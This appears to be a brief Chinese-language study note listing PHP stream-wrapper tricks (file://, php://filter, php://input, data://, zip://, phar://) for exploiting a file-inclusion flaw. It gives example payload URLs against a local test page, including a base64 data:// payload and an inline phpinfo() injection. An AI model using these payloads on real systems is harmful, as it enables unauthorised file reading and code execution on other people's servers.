文件包含PHP伪协议利用方法

1.file://协议

123.php内容

使⽤： file:// ⽂件的绝对路径和⽂件名

127.0.0.1/123.php?file=file://D:\phpstudy_pro\WWW\1.txt

2. php://filter协议

127.0.0.1/123.php?file=php://filter/read=convert.base64-encode/resource=1.txt

3.php://input协议

抓包进来这里是get传参右击修改

4.data://

使⽤举例： ?file=data:text/plain,

?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=

?file=data:text/plain,

123.php?file=data:text/plain,<?php%20phpinfo();?>

5.zip://

把1.txt压缩成zip文件

不能直接读取压缩包内的文件需要在中间加个%23

6.phar://

⽤途：读取压缩包内的⽂件（绝对路径/相对路径）

它可以直接读取压缩包内的文件